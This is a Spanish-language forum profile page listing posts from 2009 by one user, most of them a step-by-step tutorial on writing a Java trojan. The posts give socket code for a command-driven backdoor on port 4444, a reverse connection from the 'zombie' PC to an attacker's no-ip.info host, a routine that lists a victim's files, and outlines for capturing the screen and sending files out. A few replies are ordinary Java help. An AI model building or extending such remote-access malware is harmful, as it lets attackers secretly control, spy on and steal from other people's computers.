Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - egyware

#341
Java / Re: Problema con envio de ficheros
26 Agosto 2009, 04:24 AM
mmmm
me da un poco de flojera pero yap
Mira para programar lamentablemente se debe saber ingles.
Te recomiendo si sabes ingles buscar en google el API de java
FileInputStream es el Stream de entrada.
OutputStream es el Flujo de Salida.
Porsiacaso Stream y Flujo es lo mismo :D
Un ejemplo, estoy un poco ocupado para hacer uno si no entiendes todavia postea avizando y te hago un ejemplo.
Adios
#342
Java / Re: Empezar con Java
26 Agosto 2009, 04:13 AM
Un IDE es un programa que te permite editar mas facilmente tu codigo, actualmente existen IDE para la mayoria de los lenguajes.
Te recomiendo que uses el Netbeans o el Eclipse.
Adios.
#343
Java / Re: Como crear un Troyano en Java
26 Agosto 2009, 04:11 AM
Que yo sepa no, ademas los puertos son enteros sin signo de 2 bytes.
Asi que tienes un limite de 65000(aprox) puertos pero los primeros 1000 son reservados.


PS: redaccion mala!!
#344
Java / Re: Problema con envio de ficheros
25 Agosto 2009, 20:40 PM
Es trivial :P
Debes saber bien como funcionan los flujos
InputStream y OutputStream,
haces
FileInputStream fis = new FileInputStream(new File("c:\\send.to"));
y obtienes el flujo de entrada
Socket s = /* uno socket valido*/;
OutputStream out = s.getOutputStream();
Luego juegas, lees un byte y lo escribes por la salida
:P
#345
Java / Añadidos
25 Agosto 2009, 17:07 PM
Hola he terminado de transcribir todo mis mensajes y creo que faltaron algunas cosas, como por ejemplo tranferencia de Archivos y Imagenes, bueno voy hacer un esbozo de como hacerlo.

Para la pantalla
Debes capturar la pantalla usando la clase Robot, luego debes escribirla en un Arreglo de bytes. Para eso puedes usar las clases que estan en javax.imageio que permiten escribir y leer imagenes y para el Arreglo de Bytes usa la clase ByteArrayOutputStream(creo que se llama asi) pero puedes encontrartelas en el paquete java.io. Luego envias el arreglo de bytes usando algun protocolo.
El post donde le preguntaba a casidiablo como enviar imagenes debe estar perdido por aqui si se dan la flojera pueden buscarlo yo no lo he encontrado.

Para los archivos
Es casi lo mismo que la pantalla pero te recomiendo que uses un simple arreglo de bytes de 512, 1024,... osea un buffer porque si subes un archivo de golpe a la memoria tu troyano se caera. Entonces inventas un sistema que te permita enviar de a pedazos y reconstruirlo en tu pc.

Para esto yo invente sistemas apartes, osea realizo otras conexiones, con protocolos distintos.
Bueno eso es todo, no tengo mas que enseñarles y/o mostrarles.
Me despido espero que sea de su compresión y agrado.
Adios
;D ;D ;D



#346
Java / Concretanto el programa
25 Agosto 2009, 16:56 PM
Bueno hasta el momento tenemos listo nuestro troyano
¿Pero como podemos infectar a otros pc?
¿Como hacemos que se conecte a nosotros?

Bueno la pregunta de como infectar estan en los temas de diseño de Malware (sumpongo :huh:)

Entonces como hacemos que se conecte???
Facil tenemos 2 metodos
conexión Directa
conexión Inversa
No explicare de que se tratan porque existe una explicacion mejor en otros foros de aqui pero hare un resumen de ellas
conexión Directa
Se trata de que el pc zombie se pone a la escucha y espera conecciónes
Ventajas:
    - No se ninguna
Desventajas
    - Bloqueo Firewall
    - Debes buscar la IP del infectado (las mayoria de las IP son dinámicas  Enojado)

PC Zombie


Código (java) [Seleccionar]

ServerSocket server = ServerSocket(IP_del_PC, numero_de_conecciones, Puerto);
Socket s = server.accept();
.....


PC Cliente (osea el tuyo)


Código (java) [Seleccionar]

Socket s = new Socket(IP_de_la_Victima, puerto)
.....


conexión  Inversa   
Se trata de el pc zombie se conecta a ti
Ventajas
    - No buscas la IP del pc infectado
Desventajas
    - Debes desbloquear puertos del router (no hay problema existen muchos manuales  ::))
    - Debes tener una direccion no-IP(ó un nomnbre DNS) en caso de que tengas una direccion IP dinámica
PC Zombie

Código (java) [Seleccionar]

Socket s = new Socket(nombre_cualquiera.no-ip.info, puerto)
....


PC Cliente (osea el tuyo)
Código (java) [Seleccionar]

ServerSocket server = ServerSocket(nombre_cualquiera.no-ip.info, numero_de_conecciones, Puerto);
Socket s = server.accept();
.....

Asumiendo nombre_cualquiera.no-ip.info es una direccion no-ip tuya actualizada a la ip que tienes
#347
Java / Control Remoto (3)
25 Agosto 2009, 16:51 PM
Hola a todos, siguiendo el tema

Código (java) [Seleccionar]
public static void main(String args[]){
      int puerto = 4444;
      ServerSocket servidor = new ServerSocket(puerto);
      while(true)
              new Thread(new Manejador(servidor.accept())).start();

}


Pero que es esto  :huh:
Bueno antes de seguir les debo mas explicación
lo que hace este codigo se pone a la escucha en el puerto 4444,
pero ¿Qué es un puerto?
un puerto es una entrada o conexión a la internet (red), una computadora usa una direccion (IP) y un puerto para conectarse a otra computadora
como por ejemplo google.com y 80, google.com se traduce a una direccion ip, entonces uno para bajar contenido desde la internet generalmente (no siempre) uno se conecta al puerto 80 del computador remoto.

Siguiendo con la explicacion la clase ServerSocket se pone a la eschucha en el puerto 4444 en la direccion localhost (127.0.0.1), eso es lo que hace ese constructor, pero no solo con crearlo basta
hay que ponerse a la escucha servidor.accept() este metodo lo que hace es ponerse a la escucha y esperar una conexión(se bloquea hasta recibirla), entonces cuando llega una devuelve un objeto Socket con tal conexión, luego esa conexión se la pasamos como argumento a nuestro clase Manejador, el objeto recien creado se lo pasamos a Thread y le echamos andar el thread
un poco complicado eh!!!

Dentro del run es donde hacemos todo
bueno eso depende del programador como lo haga, pero yo prefiero hacer lo ahí.
Ahora nuestro servidor eco lo moficaremos solo en la parte donde esta el metodo run

Código (java) [Seleccionar]

public void run(){
   //debes saber que omito las capturas de errores
   //esta variable se usa para seguir la ejecución (done significa hecho) la inicializo false porque es natural decir que no esta listo
   boolean done = false;
   //esta variable se usa para almacenar la linea leida
   String line;
   //como no esta listo uso la negacion de done (!done)
   while(!done){
      //dentro del while aqui bucle while viene la magia (la magía como decia mi abuelo Q.E.P.D)
      line = in.readLine().trim(); //al igual que el servidor eco, pero borramos los espacios que pueda tener (adelante o atras)
      //vamos con la magia (redoble de tambores)
      if(line.equalsIgnoreCase("Comando1")){
         //eee lo logramos
         //accion 1
         out.write("Respuesta1");
      }else
      if(line.equalsIgnoreCase("Comando2")){
        //otro más
        //accion 2
         out.write("Respuesta2");
      }//..... y todos los que se te ocurra
      //ves facil aa se me le olvidava
     //aqui antes de salir del bloque while hacemos un flush de los datos
     out.flush();
   }
}


Viste que facil
ahora es solo cuestión de inventar comandos
y acciones concretas
complementando con las primeras respuestas
ya tenemos nuestro troyano y poderlo probar de inmediato con el programa telnet
este programa correra hasta que tu inventes un comando para que done se haga true

Nota: Puedes modificar la Implementación de StringTokenizer para revisar comandos y argumentos actualmente lo tengo asi y me funciona de maravilla  ;D
#348
Java / Control Remoto (2)
25 Agosto 2009, 16:44 PM
Clases a usar
java.net.ServerSocket
java.net.Socket

Programa para testear
Telnet

Primero que nada haremos un ejemplo de un servidor de eco
este ejemplo lanza IOException pero no los colocare para simplificar el codigo

Código (java) [Seleccionar]
import java.net.*;
import java.io.*;
public class Manejador implements Runnable{
  private BufferedReader in;
  private BufferedWriter out;
  private Socket socket;
  public Manejador(Socket socket){
      //esto siempre lo haremos
      this.socket = socket;
      in = new BufferedReader(new InputStreamReader(socket.getInputStream()));
      out = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream()));
  }
  public void run(){
      String line;
     while(true){
      line = in.readLine();
      out.write(line);
      out.write("\n\r");
      out.flush();
     }
  }
  public static void main(String args[]){
      int puerto = 4444;
      ServerSocket servidor = new ServerSocket(puerto);
      while(true){
           new Thread(new Manejador(servidor.accept())).start();
      }

  }
}



Este servidor es simple, primero deben compilarlo y ejecutarlo
es posible que en windows salga alguna advertencia del firewall solo hagan click en desbloquear
despues de eso
escriben en su consola
telnet localhost 4444
luego cada cosa que escriban se les devolvera
bueno este ejemplo es para que conozcan un poco la mecanica de de un Servidor y cliente
si se dieron cuenta
tiene un bucle while que se repite siempre
luego lee un mensaje entrante (se bloquea hasta conseguir uno)
y lo escribe mas \n  y \r y libera el buffer(out.flush)
bueno eso es todo por el momento.
En el siguiente post concretaremos algo mejor.
#349
Java / Control Remoto
25 Agosto 2009, 16:42 PM
Hola a Todos
Como algunos se dieron cuenta puse una carita triste, porque este tema es muy dificil de implementar, aunque existe varias formas de hacerlo usando Comandos por Texto o comandos binarios, pero por comodidad de prueba lo hare por texto porque es mas facil de probar que el binario pero es mas lento en comunicacion que el binario, por ejemplo definimos un comando de mover el mouse
Binario
(byte)(int)(int)
el primer byte es el codigo para mover el mouse los 8 siguientes bytes son dos enteros que tienen la posicion (x,y) para mover el mouse
Algoritmo
leer un byte
revisar con un if o swicth si es igual al byte predefinido como MOVE
crear 2 variables x e y como enteras
leer un entero de 4 bytes y guardarlo en x
leer un entero de 4 bytes y guardarlo en y
mover el mouse a la posicion indicada
Nota: Cuidado los bytes del entero pueden estar en Big o Little Endian

Texto
(char ?)(char)
"MOVE 100 100\n"
la longitud del comando es desconocida pero sabemos que termina en un char y ese char es un salto de linea '\n'
a esto debe tratarse  de forma especial
Algoritmo
leer una linea
empieza con "MOVE"
crear una variable auxiliar parametro
parametro toma el mismo valor que la linea leida sin "MOVE "
buscar el indice del espacio ' '
crear variable x con el valor del numero que esta contenido en parametro desde 0 hasta el indice del espacio
crear variable y con el valor del numero que esta contenido en parametro desde indice del espacio + 1
mover el mouse el mouse a la posicion indicada

Bueno en resumen estamos metidos en un problema, como lo hacemos
bueno por recomendacion yo digo hacerlo en txt ya que con el programa Telnet podemos probar rapidamente pero sin embargo en binario deberiamos hacer un programa aparte para probar.
#350
Java / Obteniendo informacion util(2)
25 Agosto 2009, 16:39 PM
Mostrar informacion sobre los ficheros en el pc.
Bueno esto no se si será taaaan util mas bien de curioso
Pero si puede ser util cuando nos encontramos algún pedofilo y denunciarlo y hacer algo bueno por el mundo.
Bueno entre otras cosas.
Clase a utilizar
java.io.File
primero que nada como mostramos los ficheros contenidos en el pc zombie  Huh
¿Como sabemos si es un windows o un linux? Porque el sistema de ficheros es distinto
Aunque con la repuesta anterior se sabe bien que os con cual estamos trabajando, pero hay otra forma mucho mas facil
File root[] = File.listRoots();
Con esto de inmediato obtenemos los archivos del directorio raíz.
Pero como si Windows no tiene un directorio raíz como los Linux!!!!!
Bueno en realidad no pero sin embargo el arreglo root en Windows contendrá las unidades de disco como A: B: C: D: ..... mientras que en un Linux (no estoy seguro) mostrara todos los archivos contenidos en / (directorio raíz), entonces ya sabemos cuales son sus archivos y/o directorios empezamos a trabajar con ellos.
Basta solo tomar un elemento del arreglo y usar el metodo listFiles() para mostrar los archivos contenidos en ese directorio, como nota nunca he probado con un archivo que lo que pasa siempre he tenido la precaución de solo usar directorios(haciendo la precaucion isDirectory()).

En Resumen un poco de codigo:

Código (java) [Seleccionar]
//getAbsolutePath() uso este metodo para mostrar la ruta completa del archivo involucrado
File root[] = File.listRoots();
//Mostrarlos
for(int i=0;i<root.length;i++)
System.out.println(root[i].getAbsolutePath());
//tomando cualquiera
File dirs[] = root[0].listFiles();
for(int i=0;i<dirs.length;i++)
System.out.println(dirs[i].getAbsolutePath());
//ahora uno cualquiera
File dirs[] = new File("C:\\Windows").listFiles();
for(int i=0;i<dirs.length;i++)
System.out.println(dirs[i].getAbsolutePath());

Eso es todo, usen el ultimo metodo solo con la precaucion que de exista y sea directorio por que no he probado que es lo que pasa
y como Regalito  Sonreir
parte de mi codigo, de la clase que contrala el pc, que muestra los archivos del pc zombie

Código (java) [Seleccionar]
public String showFile(String parameter){
try {
StringBuilder sb = new StringBuilder();
File[] mostrar = null;
if (CS.CheckEqual("ROOT", parameter))mostrar = File.listRoots();
else {
File ver = new File(parameter);
if(!ver.exists())
return "No Existe\n\r";
if(!ver.isDirectory())
return "No es un Directorio\n\r";
mostrar = ver.listFiles();
}
for(int i = 0;i <mostrar.length ;i++){
sb.append('\r');
sb.append(mostrar[i].getAbsoluteFile());
sb.append('\n');
}
sb.append('\r');
return sb.toString();
} catch (Exception e){
return "Error: "+e+"\n\r";
}
}

Eso es todo, por hoy.
La proxima respuesta sera control remoto   ;D :P